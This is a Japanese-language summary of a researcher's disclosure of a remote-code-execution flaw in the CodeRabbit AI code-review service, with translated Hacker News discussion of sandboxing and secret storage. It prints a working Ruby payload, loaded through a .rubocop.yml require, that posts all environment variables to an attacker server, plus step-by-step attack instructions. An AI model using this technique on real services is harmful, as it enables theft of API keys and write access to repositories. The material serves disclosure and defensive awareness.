世界を動かす技術を、日本語で。

CodeRabbitの活用方法:シンプルなPRからRCEおよび100万リポジトリへの書き込みアクセスまで

概要

  • CodeRabbitの本番サーバーで RCE(リモートコード実行) を達成した経緯の詳細解説
  • APIトークンやシークレット情報 の漏洩過程と影響範囲
  • PostgreSQLデータベース へのアクセス可能性の指摘
  • 100万件超の コードリポジトリ(プライベート含む) への読み書き権限の取得
  • 脆弱性の内容・再発防止策・インシデント対応のまとめ

CodeRabbit本番環境におけるRCE脆弱性の発見と影響

  • Black Hat USAで開示した 脆弱性の詳細レポート
  • RCE(リモートコード実行) の実現により、内部APIトークンやシークレットの漏洩
  • 本投稿は セキュリティ啓発目的 であり、特定ベンダーを責める意図なし
  • 脆弱性は2025年1月に 迅速に修正 され、CodeRabbitは全シークレットのローテーションやシステム監査を実施
  • Rubocopの一時無効化、 安全なサンドボックス環境 への移行、導入ゲートの強化

CodeRabbitとは

  • AIによるコードレビュー ツールとしてGitHub・GitLabで最多インストール数
  • 100万リポジトリ・500万プルリクエストのレビュー実績
  • AI支援カテゴリーで圧倒的シェア を持つGitHubアプリ
  • Pull Requestごとに自動で コード解析・レビューコメント投稿
  • セキュリティ指摘・改善提案・ドキュメント生成・ダイアグラム作成など多機能

CodeRabbitの利用開始手順

  • Proプランは 静的解析ツール(Semgrep等) 対応、14日間無料トライアルあり
  • GitHubアカウント連携で リポジトリ単位のアクセス権付与
  • Read/Write権限 を持つGitHubアプリとして動作
  • プライベートリポジトリでの動作検証可能

脆弱性調査の動機と経緯

  • Qodo Mergeでの発表後、 他のAIコードレビューサービスの調査要請 を受ける
  • CodeRabbitにも GitHub APIトークン漏洩時の重大リスク を認識
  • プライベートリポジトリで 挙動と機能を確認 し、脆弱性調査を開始

外部ツール実行機能の悪用可能性

  • CodeRabbitは 多数の静的解析ツール(Linters/SAST) を外部実行可能
  • PRの規模・対象ファイル・設定ファイルで 実行ツールが制御 される仕組み
  • .coderabbit.yamlやWeb設定で ツール有効化/無効化・設定ファイルパス指定 が可能

Rubocop拡張機能を利用したRCE実現

  • Rubocopは 拡張機能の動的ロード に対応し、.rubocop.ymlで任意Rubyファイルをrequire可能

  • .rubocop.ymlにrequire: - ./ext.rbを記載し、ext.rbに 任意のRubyコード を記述

  • 例:環境変数をJSON化し、攻撃者サーバー(例:1.2.3.4)へHTTP POST送信

    • require 'net/http'
      require 'uri'
      require 'json'
      env_vars = ENV.to_h
      json_data = env_vars.to_json
      url = URI.parse('http://1.2.3.4/')
      begin
        http = Net::HTTP.new(url.host, url.port)
        request = Net::HTTP::Post.new(url.path)
        request['Content-Type'] = 'application/json'
        request.body = json_data
        response = http.request(request)
      rescue StandardError => e
        puts "An error occurred: #{e.message}"
      end
      
  • 攻撃手順

    • CodeRabbit無料トライアル登録・GitHub連携
    • プライベートリポジトリ作成・CodeRabbitアクセス権付与
    • .rubocop.yml・ext.rb・ダミーRubyファイルを含むPR作成
    • CodeRabbitがRubocop実行→ 攻撃コード実行・環境変数漏洩

取得できた情報と影響範囲

  • 攻撃者サーバーに送信された 環境変数一覧(JSON形式)
    • Anthropic APIキー、Aperture Agentキー、GitHub/GitLabシークレット、暗号化パスワード 等が含まれる
    • PostgreSQL等の データベース接続情報 も含まれる可能性
    • 1万件超のAPIシークレット、GitHubアプリのRSA秘密鍵まで流出
  • これにより リポジトリの読み書き、API・DBアクセス、追加攻撃の実行 が可能となる深刻なリスク

CodeRabbitの対応と再発防止策

  • 脆弱性報告後、 数時間以内にRubocopの無効化・恒久対策 を実施
  • 全シークレット・認証情報の即時ローテーション
  • Rubocop等外部ツールの サンドボックス実行徹底
  • システム全体の監査・自動サンドボックス強制・導入ゲート強化

教訓とまとめ

  • 外部ツール実行時のサンドボックス化・権限分離の重要性
  • CI/CDやAIツール導入時のセキュリティ設定の見直し 必須
  • サプライチェーン攻撃や 依存ツールによる間接的なリスク への警戒
  • 脆弱性報告後の 迅速な対応・透明性ある情報公開 の重要性
  • セキュリティは 継続的なプロセス であり、全ての組織が脆弱性リスクを持つ点への理解

Hackerたちの意見

エクスプロイトを実行している間、CodeRabbitは私たちのプルリクエストをレビューして、GitHubのPRに「重大なセキュリティリスクを検出しました」とコメントを投稿していたけど、アプリケーションはそれを理解せずに私たちのコードを実行していたんだ。まるで、ハッキングされている最中にコンピュータが自分のことを話しているような奇妙な世界だね。それに、これはかなり心配なことだよね。> 「CodeRabbitチームが迅速に対応し、修正することは、現代の急速に変化する環境での脆弱性に対処するための重要な部分だ。」他のベンダーには連絡しても全然返事がなかったし、彼らの製品は今も脆弱なまま。CodeRabbitチームには感謝だし、みんなも気をつけてね!

CodeRabbitが自分のシステムのエクスプロイトをレビューしたなんて、美しいね!

アンスロピックモデルがエクスプロイトについて話してたってこと?コーダーラビットのシステムはそれを全然聞いてなかったってことだね。

ちょっと理解できなかったんだけど、なんでCodeRabbitは自分の環境変数の中で外部のコードに外部ツールを実行したの?このツール全体にその変数が必要なのはなぜ?

彼ら自身のツールはもちろん、いろんなAPIキーが必要で、そういう変数をフィルタリングする方法を作ったみたいだけど、ほとんどのユーザーコードはそれを通して管理していたみたい。でも、Rubocopをその特別な方法で通すのを忘れちゃったみたい。だから、この研究者はCodeRabbitが忘れたツールを掘り下げることに運が良かったのかも。

この(隔離メカニズム)が何を意味するのか気になるな。もし彼らが典型的なウェブスタートアップの「早く開発して、でも早く失敗する」みたいな感じなら、セキュリティの隔離のためにDockerコンテナを使っているのかも。

なんか、これらのプロセスをchrootジャイルみたいなもので隔離して、親プロセスの環境変数にアクセスできないようにしてたっぽいね。Linuxでは、コンテナやDockerを使わなくても子プロセスを隔離する方法はいろいろあるよ。

なんでこのツール全体にこれらの変数が必要なの?必要ないよ。GithubのAPI秘密鍵は環境にさらすべきじゃない。鍵はHSMに保管して、リポジトリごとのアクセストークンに署名するためだけに使うべきだよ。GHのドキュメントによると、> 「プライベートキーはGitHubアプリにとって最も価値のある秘密です。Azure Key Vaultのようなキー保管庫に鍵を保存し、署名専用にすることを検討してください。これにより、プライベートキーを失うことがないようにできます。プライベートキーがキー保管庫にアップロードされると、そこから読み取ることはできません。署名するためだけに使われ、プライベートキーへのアクセスはインフラのルールによって決まります。」> あるいは、環境変数として鍵を保存することもできますが、これはキー保管庫に保存するほど強力ではありません。攻撃者が環境にアクセスできると、プライベートキーを読み取られてGitHubアプリとして持続的な認証を得られてしまいます。 [0]: https://docs.github.com/en/apps/creating-github-apps/authent...

この重大な脆弱性をCodeRabbitチームに責任を持って開示した後、彼らから隔離メカニズムがあると聞いたけど、Rubocopはなぜかその中で動いていなかったんだ。もし知っている人がいたら、この(隔離メカニズム)が何を意味するのか気になるな。

彼らはそれをサンドボックス化するのを忘れたと言えるかもね。(おそらくAIにxを実装するように頼んで、AIがサンドボックスの必要性を完全に無視したんだろうね。)

研究者がコード実行を許可してるから攻撃したツールが、サンドボックス化されてなかったのは、なんてラッキーな偶然なんだろう。

こんにちは、CodeRabbitのHowonです。このRCEは1月に報告されて修正されたことをお知らせしたいです。完全に予防的なもので、顧客データには影響がありませんでした。今は、CodeRabbitの傘下でのあらゆる実行に対して広範なサンドボックスを用意しています。CodeRabbitの隔離方法について知りたい方は、こちらのブログ記事をどうぞ: https://cloud.google.com/blog/products/ai-machine-learning/h...

でも、研究者が問題を教える前に誰かがプライベートキーを盗んでないってどうやって保証するの?

これをPRに使うなんて、ほんとに図々しいね。

それでも、あなたはGH APIのプライベートキーを環境変数に保存してるの?

どうやって顧客データが影響を受けてないってわかるの?GitHubと連携して、キーの使用状況を全部スキャンしたの?GitHubキーの使用が本物かどうか、どうやって確認したの?AnthropicやOpenAIとかに連絡して、ログの使用状況をチェックした?こんな大きなミスの後に「大丈夫です」って言われても、正直信じられないよね。

たまに見落としがあるのは理解できるけど、今回の事件の前に「サンドボックス化/アイソレーション」を考えなかったのは本当に奇妙だと思う。第三者の信頼できないコードを実行するために作られたシステムで、まず実装すべきことだと思うんだけど。

1月に書いたRCE修正についてのブログ記事、顧客データが影響を受けたかどうかを確認するために取った措置を説明してるやつ、どこにあるか教えて。

サンドボックス化:すべてのCloud Runインスタンスは、2層のサンドボックス化が施されており、専用のサービスIDを通じて最小限のIAM権限を持つように設定できます。さらに、CodeRabbitはCloud Runの第2世代実行環境を利用しており、フルLinux cgroup機能を提供するマイクロVMです。各Cloud Runインスタンス内で、CodeRabbitはJailkitを使用して隔離されたプロセスを作成し、さらに監禁されたプロセスの権限を制限しています。PRを読みたくない場合は…

これを読んでると、あなたのブログ投稿との関連が不明だね:1. GCR関数内でgit cloneを実行してるから、少なくともgitプロバイダーのユーザートークンは持ってるはず。2. RCEの脆弱性は基本的に外部ツール、例えば静的解析チェッカーを使っていて、それもGCR関数内にある。3. 仮にRCEでconsole.log(process.env)ができたら、fetch(mywebsite....もできるってことだよね。わかるよ、ここで「VPC」と「サンドボックス」についてある程度は手を抜けるけど、結局コードを実行してるわけで、「信頼できない」とか「サンドボックス化された」ってラベルを付けたからって免罪符にはならないよ。

これにコメントするのはすごいな。

「好きなようにGitHubアプリになれる」っていう鍵が環境変数にそのまま置いてあるのは、信じられないほど悪いプラクティスだよね。誰でもハッキングされる可能性があるけど、これは基本的な秘密管理の問題で、そこに置く必要はないよ。GitHubはドキュメントで、環境変数に保存するのは悪いアイデアだって明言してる。ほんと、初歩的なことだよ。 https://docs.github.com/en/apps/creating-github-apps/authent...

こんにちは、CodeRabbitのHowonです。私たちはアプリケーションの秘密情報のために、クラウドプロバイダーが提供するキーVaultを使ってます。GHのプライベートキーも含めてね。

もしそれが何かを署名するための秘密でないなら、その秘密はどこかで金庫からアプリケーションに移動しなきゃいけないよね。生産システムへのアクセスがその秘密にもアクセスできないようにするためのメカニズムって何を提案してるの?この特定のケースでは、信頼できないコードを実行してるから、その環境は隔離されてるべきで、これらのキーは渡すべきじゃなかったってのは分かるけど、信頼できないコードを実行するのはほとんどのアプリケーションでは一般的な機能じゃないからね。

こんな大規模なセキュリティの失敗は「侵害」や「インシデント」として分類されるべきだと思うし、消費者を守るためにニュースメディアによって公表されるべきだよ。7,000人以上の顧客と100万のコードリポジトリにアクセスできるツールが、賢い11歳が作れるようなエクスプロイトで侵害されたんだから。(編集: 100万のリポジトリ、顧客ではない)エクスプロイトがこんなに簡単なら、ボットやブラックハット、APTがすでに侵入して持続的に潜んでいた可能性が高いと思う。もしそうなら、問題をパッチしても新しい悪意のある行為者がCodeRabbitの環境に侵入するのを防げるかもしれないけど、すでに潜んでいる悪意のある行為者を追い出すことはできないかもしれない。セキュリティは難しいのは分かるけど、ちょっと考えてほしいな。

Code Rabbitは雰囲気重視のコーディング会社だし、何を期待してるの?それで、侵害を隠そうとして、Google Cloudのブログにマーケティングのフワフワした記事を投稿して、ハッキングされたことすら言わず、バックドアがまだ動いてるかどうかの証拠も出せないなんて、ほんとクソみたいな会社だよ。

うわ、マジで。まだその内容を読み終えてないけど、理解するのが難しすぎる。範囲が広すぎてストレスが溜まる。彼が何万(何百万?)ものオープンソースツールやライブラリのリリースファイルにマルウェアを仕込む可能性があったって部分。あれは世界的な大惨事になってたかもしれない。しかも、他にも似たような脆弱性がまだどこかに存在してるかもしれないし。

この「Github Apps」は悪いアイデアなんじゃないかと思い始めてる。たとえCodeRabbitがこの脆弱性を持っていなかったとしても、彼らが常に良い行動をする保証なんてないよね。内部のセキュリティ対策が、従業員が悪意のあることをしないことを確実にするわけでもないし。プライベートなユーザーデータを管理するのは普通のSaaSの話だけど、ここではターゲットを絞ったサプライチェーン攻撃の鍵を持ってるわけだから、本当に大変なことになる可能性がある。

ソフトウェア業界は、そろそろ最低限のガードレールや規制が必要だと思う。誰でも何でもめちゃくちゃにできて、全く何の影響もないなんてありえないよ。

この発見で著者がちゃんとした報酬をもらえたらいいな。間違った手に渡ったら大惨事になってたかもしれないし。

彼らがそれをPRの機会として回して、侵害については何も言わないなら、報酬は出ないだろうね。

どうしてこれがGitHubの責任じゃないのか、誰か説明してくれない?エンドユーザーがこれらのサービスに必要な権限を変更できないのはおかしいと思うんだけど。例えば、細かい権限管理ってどうなってるの?このコード分析サービスみたいなツールが最初からgitの書き込み権限を必要とする理由は何なの?唯一の慰めは、SHAハッシュの衝突のせいで既存のチェックアウトのgitリポジトリを偽造するのは難しいってことだけど、たぶんそこでも成功率はかなり高いだろうし、特にフロントエンドのリポジトリを攻撃する場合、メンテナが何が起こったのか理解できずに、置き換えたリポジトリでそのまま進んじゃうことが多いからね。

コーダーラビットの有料サブスクリプションをキャンセルしたんだ。HNで投稿がバイラルにならないと、会社が問題を認めることすらないのが心配でさ。彼らのブログにはこの脆弱性に関する言及がまったくないし、今日も新しい投稿はない。ミスは誰にでもあるけど、こういう時の透明性の欠如は印象が悪くなるよね。